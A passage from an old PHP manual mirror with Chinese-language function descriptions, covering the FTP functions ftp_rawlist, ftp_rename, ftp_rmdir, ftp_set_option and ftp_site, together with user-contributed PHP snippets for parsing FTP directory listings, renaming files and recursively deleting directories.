           $parsed[$i]['name']        = $split[8];
           $i++;
       }
   }
   return $parsed;
}
?>
nate at 8networks dot com
08-May-2005 03:41
this snip fixes the date problem with the listing and sorts out the variables:

$filedata['access_permissions']
$filedata['link_count']
$filedata['uid']
$filedata['gid']
$filedata['size']
$filedata['mod_date_month']
$filedata['mod_date_day']
$filedata['mod_time']
$filedata['name']

list($filedata['access_permissions'], $filedata['link_count'], $filedata['uid'], $filedata['gid'], $filedata['size'], $filedata['mod_date_month'], $filedata['mod_date_day'], $filedata['mod_time'], $filedata['name']) = preg_split("/[\s,]+/", $value);

$filedata['type'] = $filedata['access_permissions']{0};

$filedata['access_permissions'] = substr($filedata['access_permissions'],1);

// now check the date to see if the last modifcation was this year or last.

if ( strrpos($filedata['mod_time'], ':') != 2 ) { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . $filedata['mod_time']; $filedata['mod_time'] = "00:00"; } else { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . date("Y"); }
john at nm-design dot com
30-Apr-2005 01:14
I'm not a traditional programmer, so I often take a different approach then most programmers. Here's how I get file information from an FTP file list. It's very simple (which I like). Comments are welcome:

   // make your FTP connection calls here, then ...
   $contents = ftp_rawlist($ftp_id, ".");

   echo '<TABLE>';

   foreach ($contents as $key => $value) {

       $info = explode(" ", $value);
       $clean = array();
       foreach ($info as $key => $value) {
           if (!empty($value)) { $clean[] = $value; }
       } // end foreach loop 2

       if ( ($clean[8] != ".") AND ($clean[8] != "..") AND ($clean[8] != "html") AND ($clean[8] != "logs") AND ($clean[8] != "protected") AND ($clean[8] != "sys") ) {
           echo '<TR>';
           print "<TD WIDTH=\"40%\">$clean[8]</TD>"; // name of file
           print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$clean[5] $clean[6] $clean[7]</TD>"; // date info
           // prep size
           $size = $clean[4];
           $size = $size / 1000; $size = ceil($size); if ($size <= 0) { $size = 1; }
           if ($size >= 1000) { $measure = "MB"; $size = $size /  1000; } else { $measure = "K"; }
           print "<TD WIDTH=\"20%\" ALIGN=\"CENTER\">$size $measure</TD>"; // size
           echo '<TD WIDTH="20%" ALIGN="CENTER" BGCOLOR="#FFFFE6" CLASS="bodyBold">'; print "<A HREF=\"$PHP_SELF?Submit=DELETE&file=$clean[8]\">"; echo 'DELETE</A></TD>'; // link to delete file
           echo '</TR>';
       } // end if

   } // end foreach loop 1

   echo '</TABLE>';
marc dot peterlongo at francetelecom dot com
03-Feb-2005 06:57
When you try:

$path = "directory pathname with spaces";
$list = ftp_rawlist($conn_id,$path);

It doesn't work

but when you try:

$path = "directory pathname with spaces";
ftp_chdir($conn_id,$path);
$list = ftp_rawlist($conn_id,".");

It works
cjacobsen at pge dot cl
11-Jan-2005 09:44
Excelent expresion, but don't match SUID, SGUI and Sticky flags when 'x' is disabled. Fix it with [rwxstST-].

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
greg at upsdn dot net
20-Dec-2004 03:58
list all (including hidden files and dirs):
<?php
  $contents = ftp_rawlist($conn_id, "-al ".$dir_name);
?>

just as ftp command:
LIST al

"-aF " is equal to '-al', please refer to "ls --help"
greg at upsdn dot net
26-Nov-2004 02:55
The previous regular expression(by Jonathan Almarez,ergye at yahoo dot com and guru at virusas dot lt) is very good.But i found it does not  take into account for directories(number>9)

Change [0-9] to [0-9]*

The code below not only parses:
drwxrwxr-x    9 msik    ia          4096 Nov  5 14:19 Group3

It also parses:
drwxrwxr-x  19 msik    ia          4096 Nov  5 14:19 Group3
3
drwxrwxr-x  119 msik    ia          4096 Nov  5 14:19 Group3
3

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
Jonathan Almarez
25-Nov-2004 07:16
To make the latest correction to the parsing code:

"ergye at yahoo dot com" dosen't take into account for files or directories that are older than a year where instead of showing the time, it shows the year.

The code below not only parses:
drwxrwxr-x  2 503      503          4096 Dec  3 12:12 CVAR

It also parses:
drwxrwxr-x  2 503      503          4096 Dec  3  2003 CVAR

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
23-Oct-2004 10:53
Note that there is no standard for the format, therefore don't be suprised when parsing routines for this work perfectly on some servers, and fail horribly on some.
ergye at yahoo dot com
30-Sep-2004 12:52
The previous regular expression is super, but does not take simlinks into account. Change [-d] to [-dl] and instead of indicating directories we should indicate the type of the items:

0 = file
1 = directory
2 = simlink

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[8];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}

$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
guru at virusas dot lt
03-Sep-2004 06:31
Lets say only one of these scripts can accept filenames with spaces, but that script doesn't return all info that we may need, so i have modified a little bit one of my script and added some more regexp from here:

<?

$buff = ftp_rawlist($cid,"/");
foreach ($buff as $file)
{
     if(ereg("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$file,$regs))
   {
       if(substr($regs[1],0,1)=="d") $isdir=1; else $isdir=0;
       $tmp_array['line']=$regs[0];
       $tmp_array['isdir']=$isdir;
       $tmp_array['rights']=$regs[1];
       $tmp_array['number']=$regs[2];
       $tmp_array['user']=$regs[3];
       $tmp_array['group']=$regs[4];
       $tmp_array['size']=$regs[5];
       $tmp_array['date']=date("m-d",strtotime($regs[6]));
       $tmp_array['time']=$regs[7];
       $tmp_array['name']=$regs[8];
     }
   $dir_list[]=$tmp_array;
}

?>

The result is smth like that:

  8 =>
   array
     'line' => '-rw-r--r--  1 guru    users          4 Sep  3 09:41 testas testas testas.txt'
     'isdir' => 0
     'rights' => '-rw-r--r--'
     'number' => '1'
     'user' => 'guru'
     'group' => 'users'
     'size' => '4'
     'date' => '09-03'
     'time' => '09:41'
     'name' => 'testas testas testas.txt'
  9 =>
   array
     'line' => 'drwxr-xr-x  3 guru    users        4096 Aug 20 08:54 upload'
     'isdir' => 1
     'rights' => 'drwxr-xr-x'
     'number' => '3'
     'user' => 'guru'
     'group' => 'users'
     'size' => '4096'
     'date' => '08-20'
     'time' => '08:54'
     'name' => 'upload'

Home this will help someone
eros at speedy dot com dot ar
02-Sep-2004 05:06
NO, NO, NO.

The above examples are all wrong, the spaces given in array are not there "just because", its just a tabbed structure. In php we don't have structures like in c/cpp, but the following function will do the job.

<?php

function parse_rawlist( $array ) {

   for ( $i = 1; $i < count($array); $i++ ) {

       $current = $array[$i];

       $structure[$i]['perms']  = substr($current, 0, 10);
       $structure[$i]['number'] = trim(substr($current, 11, 3));
       $structure[$i]['owner']  = trim(substr($current, 15, 8));
       $structure[$i]['group']  = trim(substr($current, 24, 8));
       $structure[$i]['size']  = trim(substr($current, 33, 8));
       $structure[$i]['month']  = trim(substr($current, 42, 3));
       $structure[$i]['day']    = trim(substr($current, 46, 2));
       $structure[$i]['time']  = substr($current, 49, 5);
       $structure[$i]['name']  = substr($current, 55, strlen($current) - 55);

   }

   return $structure;

}

?>
soon7 at wanadoo dot fr
15-Jul-2004 05:17
Hi all !
ther is a litlle mistake in the naivesong 's message .
Indeed , you stop to parse too early ...
I tried and fix it like this :
<?
// getting the list
  $list = ftp_rawlist ($ftp_stream, $ftp_directory);
   $folders = array();
   $files = array();
   $links = array();
   for ($i=0; $i<count($list); $i++)
   {
       //----convert tabs to blanks
       //----delete multiple blanks
// Here begin my modifications
list ($permissions, $list[$i]) = parsenext ($list[$i]);
     list ($number, $list[$i]) = parsenext ($list[$i]);
     list ($owner, $list[$i]) = parsenext ($list[$i]);
     list ($group, $list[$i]) = parsenext ($list[$i]);
     list ($size, $list[$i]) = parsenext ($list[$i]);
     list ($timeMonth,$list[$i]) = parsenext ($list[$i]);
     list ($timeDay,$list[$i]) = parsenext ($list[$i]);
     list ($timeTime,$list[$i]) = parsenext ($list[$i]);
     $filename=$list[$i];
// by taking $filename in last position , it works even if there is some space in its name
//then we put it in the m array with the new things
//----ok, put all this into the related array
if ($filename != "." && $filename != "..")
     {
       $m = array();
       $m["name"] = $filename;
       $m["link"] = $filelink;
       $m["size"] = afficherPoidsFichier($size);
       $m["month"] = $timeMonth;
       $m["day"] = $timeDay;
       $m["time"] = $timeTime;
       $m["owner"] = $owner;
       $m["group"] = $group;
       $m["permissions"] = $permissions;
       if (substr($permissions, 0, 1) == "d")
         $folders[count($folders)] = $m;
       else if (substr($permissions, 0, 1) == "l")
         $links[count($files)] = $m;
       else
         $files[count($files)] = $m;
     }
   }
// you can sort $folders , $files , $links after if u want
// afficherPoidsFichier($size) is a little function i found in this site at filesize() , works good !
// Just give the good size
function afficherPoidsFichier($size) {
  $sizes = Array('o', 'Ko', 'Mo', 'Go');
  $ext = $sizes[0];
  for ($i=1; (($i < count($sizes)) && ($size >= 1024)); $i++) {
   $size = $size / 1024;
   $ext  = $sizes[$i];
  }
  return round($size, 2).' '.$ext;
}
?>
naivesong at matiasmoreno dot com dot ar
26-Mar-2004 12:53
I'm afraid I forgot the "parsenext" function in my previous note. Here it is:

<?php

   function parsenext ($s)
   {
     $k = strpos ($s, " ");
     $m = array();
     $m[0] = substr($s, 0, $k);
     $m[1] = substr($s, $k+1);
     return $m;
   }

?>
naivesong at matiasmoreno dot com dot ar
25-Mar-2004 02:41
This script will properly handle FTP servers where the returned date/time differs from the generic mm-dd-YYYY hh:mm:ss format:

<?php

   $list = ftp_rawlist ($ftp_stream, $ftp_directory);

   $folders = array();
   $files = array();
   $links = array();
   for ($i=0; $i<count($list); $i++)
   {
     //----convert tabs to blanks
     $list[$i] = str_replace ("\t", " ", $list[$i]);
     //----delete multiple blanks
     while (($k = strpos($list[$i], "  ")) !== FALSE)
       $list[$i] = substr($list[$i],0,$k+1).trim(substr($list[$i],$k));
     //----split link reference from filename where available
     if (($k = strpos($list[$i], " -> ")) !== FALSE)
     {
       $filelink = substr($list[$i], $k+4);
       $list[$i] = substr($list[$i], 0, $k);
     }
     else
       $filelink = "";
     //----parse filename
     $k = strrpos($list[$i], " ");
     $filename = substr($list[$i], $k+1);
     $list[$i] = substr($list[$i], 0, $k);
     //----parse the rest of info
     list ($permissions, $list[$i]) = parsenext ($list[$i]);
     list ($number, $list[$i]) = parsenext ($list[$i]);
     list ($owner, $list[$i]) = parsenext ($list[$i]);
     list ($group, $list[$i]) = parsenext ($list[$i]);
     list ($size, $time) = parsenext ($list[$i]);
     //----ok, put all this into the related array
     if ($filename != "." && $filename != "..")
     {
       $m = array();
       $m["name"] = $filename;
       $m["link"] = $filelink;
       $m["size"] = $size;
       $m["time"] = $time;
       $m["owner"] = $owner;
       $m["group"] = $group;
       $m["permissions"] = $permissions;
       if (substr($permissions, 0, 1) == "d")
         $folders[count($folders)] = $m;
       else if (substr($permissions, 0, 1) == "l")
         $links[count($files)] = $m;
       else
         $files[count($files)] = $m;
     }
   }
   sort ($folders);
   sort ($files);
   sort ($links);

?>

This script works fine on any raw list that complies with the following format:

permissions number owner group size time name [" -> " link_to]

where time may have whatever format the FTP server wants. ;-)

It also returns folders, files and links in separated sorted lists (got this idea from the note of "postmaster at alishomepage dot com" in this help page).
josh at snaphat dot com
30-Jan-2004 11:23
I fixed jmv AT jmvware DOT com's script:
<?php

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);

//added the next lines:
$fix=explode(' ',$dirline);
$fixsize=count($fix);
 if($fixsize > 8)
 {
  for($start=9;$start<$fixsize;$start++)
  {
   $name.=" " . $fix[$start];
  }
 }
?>
06-Jan-2004 07:40
If you write
<?php
rawlist ($ftp, "-a");
?>
The command will be "LIST -a", so the retuned list will also contain hidden files like ".htaccess".

In this case all files and folders of the current directory are contained.
To list another folder, you must change to it with "ftp_chdir".
moonglobe3739 [ A t ] hotmail .com
02-Nov-2003 08:16
hope this helps someone:
<?php
$list = ftp_rawlist($ftp_stream,$dir);
$dirc = array();
foreach ($list as $file)
{
   list($perms,$owner,$group,$size,$mtime,$fname) =
   preg_match('#^([bcdlsp-][rwxtTsS-]{9})\s+(?:[0-9]+)\s+'.
               '([a-zA-Z]+)\s+([a-zA-Z]+)\s+([0-9]+)\s+'.
               '([A-Z][a-z]+ [0-9]{1,2} [0-9]{4} [0-9]{2}:[0-9]{2}) (.*)$#',$file);
   $dirc[$fname]['permissions'] = $perms;
   $dirc[$fname]['owner']      = $owner;
   $dirc[$fname]['group']      = $group;
   $dirc[$fname]['size']        = $size;
   $dirc[$fname]['modtime']    = $mtime;
}
?>
postmaster at alishomepage dot com
19-Oct-2003 08:39
Here we go for a 100% working code... :D

<?

[code]

function cutspaces($str){
   while(substr($str,0,1)==" "){$str=substr($str,1);}
   return $str;}

[code]

$folders=array();
$files=array();
for($i=0;$i<sizeof($list);$i++){
   list($permissions,$next)=split(" ",$list[$i],2);
   list($num,$next)=split(" ",cutspaces($next),2);
   list($owner,$next)=split(" ",cutspaces($next),2);
   list($group,$next)=split(" ",cutspaces($next),2);
   list($size,$next)=split(" ",cutspaces($next),2);
   list($month,$next)=split(" ",cutspaces($next),2);
   list($day,$next)=split(" ",cutspaces($next),2);
   list($year_time,$filename)=split(" ",cutspaces($next),2);
   if($filename!="." && $filename!=".."){
       if(substr($permissions,0,1)=="d"){
           $folders[]=$filename;
       } else {
           $files[]=$filename;}}}
sort($folders);
sort($files);

[code]

?>

so this will simply "get" all the information WITHOUT being in any case interfered with some spaces, ... etc etc... It will even put files in a $files array and folders in a $folders array, and sort them, so you will be able of using all this later

and: the "folders" will NOT contain "." and ".." ;)

so you can use all this to make a beautiful FTP interface... later on you could for example put permissions and etc etc in other arrays to use them in your result... cute....
postmaster at alishomepage dot com
19-Oct-2003 08:05
Another "formula" for decoding the rawlist: the ide is that normaly a "ls" contains info like below:

<file rights> <number> <owner> <group> <date> <time> <filename>

and: the "time" contains a ":" (which is NOT contained in any of the other infos -if we reversely read the array)

and, in the case the "time" would not exist, i have done a "protection script" that would try to find out using the year... Yet that may NOT always work since a user name or group name MAY contain an item like "1999" etc... (and i did not check the date format reversely -on the filename first- since a probability of presence is higher of a date is MUCH higher in a filename)

So here we go:

<?

[... code ...]

$fnTest=array("198","199","200","201","202");

[... code ...]

$j=0;
$strrpos=strrpos($list[$i],":");
while($strrpos==0){
   $strrpos=strpos($list[$i],$fnTest[$j]);
   $j++;}
if($j){
   $strrpos+=2+strlen($fnTest[$j]);
}else{
   $strrpos+=4;}
$elmt=substr($list[$i],$strrpos);

[... code ...]

?>

and $elmt would *normally* contain the info we want... but i'm still working on it!
Svenne Burner
02-Aug-2003 09:12
If you want to use explode, for all files in a dir, or something..

Use:

$rawlist[$i][$x] = ereg_replace( "([\x20]+)", "\x20", $rawlist[$i][$x]);

/*
$rawlist[$i][$x] = explode("\x20", $rawlist[$i][$x]);

echo $rawlist[$i][$x][$k] . "<br>";
*/

Why?:
The output prints a different amount of spaces.
jmv AT jmvware DOT com
15-May-2003 05:27
Seems it doesn't have to be so complicated:

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);
kioob at wanadoo dot fr
11-Sep-2002 06:02
My project is to help users to use ftp functions with PHP. So I made a complet class for that : http://sourceforge.net/projects/kioobftp/

Enjoy !
murasame at danzers dot org
03-Jun-2002 09:11
I tweaked the regexp above and used it like this in a for-loop:

...
ereg("([-d])([rwxst-]{9}).* ([0-9]*) ([a-zA-Z]+[0-9: ]* [0-9]{2}:?[0-9]{2}) (.+)", $raw[$i], $regs)

$out[] = array("is_dir" =>
  ($regs[1] == "d") ? true : false,
 "mod" => $regs[2],
 "size" => $regs[3],
 "time" => $regs[4],
 "name" => $regs[5],
 "raw" => $regs[0]);
...

the previous version couldn't handle old dates which are in format 'M d Y' instead of 'M d H:i' correctly
maikdemaSPAM at yahooMAPS dot com
28-Mar-2002 07:27
L8 ereg mask (directory?, size, name):

ereg("([-d])[rwxst-]{9}.* ([0-9]*) [a-zA-Z]+ [0-9: ]*[0-9]
(.+)",$dirline,$regs);

I've tried this, and it works fine if the name of the file has not a number in the first letter. for example, if I have a file named "1file.exe", it shows "file.exe"; and if I've a file named "010102.exe" it shows ".exe" only.
I've improved it by doing this:

if(ereg("([-d])[rwxst-]{9}.* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$dirline,$regs))
{
           if($regs[1]=="d") $dirinfo[0] = 1;
           $dirinfo[1] = $regs[2];
           $dirinfo[2] = $regs[3];
           $dirinfo[3] = $regs[4];
           $dirinfo[4] = $regs[5];
}
$dirinfo[0] => is a directory? (1=yes)
$dirinfo[1] => file size
$dirinfo[2] => file date
$dirinfo[3] => file time
$dirinfo[4] => file name

and now works with all filename formats!
ryan at wonko dot com
21-Mar-2002 11:32
[[ Editors note: Seems it was fixed in PHP 4.3.0 ]]
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_rawlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
cialdi at firenze dot net
30-Jun-2001 12:24
the second parameter accepts also standard arguments of /bin/ls command like "-l" or "-t"
php at smintman dot com
26-May-2001 09:35
An example script for rekursiv directory analysis ... interesting are the ereg functions for spliting the content based on the system type...
 (http://beben.lanparty.de/smint/ftp_rekdiranalys.phps)

function analysedir($dirline)
{
   global $systyp,$ftp_server,$stop;

   if(ereg("([-dl])[rwxst-]{9}",substr($dirline,0,10))) {
       $systyp = "UNIX";
   }

   if(substr($dirline,0,5) == "total") {
       $dirinfo[0] = -1;
   } elseif($systyp=="Windows_NT") {
       if(ereg("[-0-9]+ *[0-9:]+[PA]?M? +<DIR> {10}(.*)",$dirline,$regs)) {
           $dirinfo[0] = 1;
           $dirinfo[1] = 0;
           $dirinfo[2] = $regs[1];
       } elseif(ereg("[-0-9]+ *[0-9:]+[PA]?M? +([0-9]+) (.*)",$dirline,$regs)) {
           $dirinfo[0] = 0;
           $dirinfo[1] = $regs[1];
           $dirinfo[2] = $regs[2];
       }
   } elseif($systyp=="UNIX") {
       if(ereg("([-d])[rwxst-]{9}.* ([0-9]*) [a-zA-Z]+ [0-9: ]*[0-9] (.+)",$dirline,$regs)) {
           if($regs[1]=="d")    $dirinfo[0] = 1;
           $dirinfo[1] = $regs[2];
           $dirinfo[2] = $regs[3];
       }
   }

   if(($dirinfo[2]==".")||($dirinfo[2]=="..")) $dirinfo[0]=0;

   // array -> 0 = switch, directory or not
   // array -> 1 = filesize (if dir =0)
   // array -> 2 = filename or dirname

   return $dirinfo;
}

function rekdir($dir)
{
   global $conn_id,$filetyps,$exectyps,$ftp_server,$banlist,$size,$ssize;

   echo "<b>$dir</b><br>";

   $dirlist = ftp_rawlist($conn_id,"");

   for($i=0;$i<count($dirlist);$i++) {
       $dirinfo = analysedir($dirlist[$i]);

       if($dirinfo[0]==1) {
           $newdir = "$dir/$dirinfo[2]";

           if(($dirinfo[2]=="~")||(substr($dirinfo[2],0,1)==" "))
               $chdir=ftp_chdir($conn_id,$newdir);
           else    $chdir=ftp_chdir($conn_id,$dirinfo[2]);

           $stop = 0;
//            for($k=0;($k<count($banlist))&&(!$stop);$k++) {
//                if(strpos($newdir,$banlist[$k])!=0) $stop=1;
//            }

           if(!$stop && $chdir) {
               rekdir($newdir);
           }

           if(!ftp_chdir($conn_id,$dir))    ftp_cdup($conn_id);
       } elseif($dirinfo[0]==0) {
           echo "$dirinfo[2]<br>";

           $size += $dirinfo[1];
       }

   }

}

$conn_id = ftp_connect($ftp_server);
$login_result = @ftp_login($conn_id, $user, $password);

if ($login_result) {
   $real_systyp = ftp_systype($conn_id);
   $systyp = $real_systyp;
   echo "scanning... $systyp<br>";

   rekdir("");

   ftp_quit($conn_id);
}
add a note add a note

后退 | 起点 | 前进
ftp_raw | 上一级 | ftp_rename


ftp_rename

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_rename -- 更改 FTP 服务器上指定的文件名

描述

bool ftp_rename ( resource ftp_stream, string from, string to )

ftp_rename() 用来把参数 from 指定的文件或目录更名为 to 参数，使用的连接句柄为参数 ftp_stream。

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
Hugo locobyte at hotmail dot NO_SPAM dot com
23-Nov-2002 04:29
Using "ftp_rename" to move files to other directories on server ftp
..
...
if(ftp_rename($conn_ftp, $xfiles[$i], "./dirx/".$xfiles[$i])) {
       echo "File $xfiles[$i] moved to ./dirx";
} else {
       echo "ERROR!!!. The file could not be moved";
}
...
..
#-->>h2m,  bye
29-Sep-2000 07:59
# Simple example for ftp_rename
# Warning! Not tested...

$server = 'ftp.somewhere.com';

$user = 'anonymous';
$pass = 'someone@somewhere.com';

$original_name = 'file_name.txt';
$new_name = 'new_file_name.txt';

$ftp_connect = ftp_connect ($server)
   or die ("Could not connect to $server");

$ftp = ftp_login ($ftp_connect, $user, $pass)
   or die ("Authentication failed");

$rename = ftp_rename ($ftp_connect, $original_name, $new_name);

if ($rename)
   print "$original_name renamed to $new_name.";
else
   print "$original_name could not be renamed...";

ftp_quit ($ftp_connect);
add a note add a note

后退 | 起点 | 前进
ftp_rawlist | 上一级 | ftp_rmdir


ftp_rmdir

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_rmdir -- 删除一个目录

说明

bool ftp_rmdir ( resource ftp_stream, string directory )

删除由参数 directory 指定的目录。directory 必须是一个空目录的绝对或相对路径。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ftp_rmdir() 例子

<?php
$dir = 'www/';

$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if (ftp_rmdir($conn_id, $dir)) {
    echo 'Successfully deleted ' . $dir;
} else {
    echo 'There was a problem while deleting ' . $dir;
}

ftp_close($conn_id);
?>

参见 ftp_mkdir()。

add a note add a note User Contributed Notes
mail at martinauer dot net
15-May-2006 01:36
At least in PHP 4.3.11 ftp_nlist lists complete paths, not just filenames. Therefore the function by uma at di4 dot com did not work for me. But it worked with a small change in line 6 like this:

function ftp_rmAll($conn_id,$dst_dir){
   $ar_files = ftp_nlist($conn_id, $dst_dir);
   //var_dump($ar_files);
   if (is_array($ar_files)){ // makes sure there are files
       for ($i=0;$i<sizeof($ar_files);$i++){ // for each file
           $st_file = basename($ar_files[$i]);
           if($st_file == '.' || $st_file == '..') continue;
           if (ftp_size($conn_id, $dst_dir.'/'.$st_file) == -1){ // check if it is a directory
               ftp_rmAll($conn_id,  $dst_dir.'/'.$st_file); // if so, use recursion
           } else {
               ftp_delete($conn_id,  $dst_dir.'/'.$st_file); // if not, delete the file
           }
       }
   }
   $flag = ftp_rmdir($conn_id, $dst_dir); // delete empty directories
   //return $flag;
}
uma at di4 dot com
07-Mar-2006 08:06
Removing a directory using FTP(modified Version):
___________________________________________

function ftp_rmAll($conn_id,$dst_dir){
   $ar_files = ftp_nlist($conn_id, $dst_dir);
   //var_dump($ar_files);
   if (is_array($ar_files)){ // makes sure there are files
       for ($i=0;$i<sizeof($ar_files);$i++){ // for each file
           $st_file = $ar_files[$i];
           if($st_file == '.' || $st_file == '..') continue;
           if (ftp_size($conn_id, $dst_dir.'/'.$st_file) == -1){ // check if it is a directory
               ftp_rmAll($conn_id,  $dst_dir.'/'.$st_file); // if so, use recursion
           } else {
               ftp_delete($conn_id,  $dst_dir.'/'.$st_file); // if not, delete the file
           }
       }
   }
   $flag = ftp_rmdir($conn_id, $dst_dir); // delete empty directories
   //return $flag;
}
mvh at list dot ru
02-Mar-2006 09:02
to: turigeza on yahoo com
You have made a mistake in the function. In it parts:
<?php
foreach($list as $value)
   ftp_rmdirr($value, $handle);
?>

Need:
<?php
foreach($list as $value)
{
   if ($value != $path . '/.' && $value != $path . '/..')
       ftp_rmdirr($value, $handle);
}
?>
mgyth_at-online_dot-no
24-Feb-2006 03:19
Worth beeing aware of:
ftp_rmdir scrips that are porly written and require you to supply a $dir to delete, may in some cases, where the $dir is empty, run the script on the your base dir on the server, thus deleting all the files you have ftp acces to.
turigeza on yahoo com
07-Nov-2005 11:15
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
   {
   if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
       {
       $list = ftp_nlist($handle, $path);
       if (!empty($list))
           foreach($list as $value)
               ftp_rmdirr($value, $handle);
       }
   @ftp_rmdir($handle, $path);
   }
?>
aidan at php dot net
29-Jul-2005 05:28
If you wish to recursively delete a directory and all its contents, see the below function.

http://aidan.dotgeek.org/lib/?file=function.ftp_rmdirr.php
add a note add a note

后退 | 起点 | 前进
ftp_rename | 上一级 | ftp_set_option


ftp_set_option

(PHP 4 >= 4.2.0, PHP 5)

ftp_set_option -- 设置各种 FTP 运行时选项

说明

bool ftp_set_option ( resource ftp_stream, int option, mixed value )

如果选项能够被设置，返回 TRUE，否则返回 FALSE。如果参数 option 不被支持或者给定的参数 value 的值与参数 option 不匹配，则会同时返回一条警告信息。

此函数用来设置给定 FTP 句柄的各种运行时间选项。参数 value 的值取决于参数 option 的改变。截止到目前，被支持的选项有:

表格 1. Supported runtime FTP options

FTP_TIMEOUT_SEC | 改变网络传输的超时时间。参数 value 必须为整数且大于 0。默认的超时时间为 90 秒。
FTP_AUTOSEEK | 当此选项打开时，带 resumepos 或 startpos 参数的GET 或 PUT 请求 将先检索到文件中指定的位置。此选项默认是打开的。

例子 1. ftp_set_option() 实例

<?php
// 设置网络传输超时时间为 10 秒
ftp_set_option($conn_id, FTP_TIMEOUT_SEC, 10);
?>

参见 ftp_get_option()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_rmdir | 上一级 | ftp_site


ftp_site

(PHP 3 >= 3.0.15, PHP 4, PHP 5)

ftp_site -- 向服务器发送 SITE 命令

说明

bool ftp_site ( resource ftp_stream, string cmd )

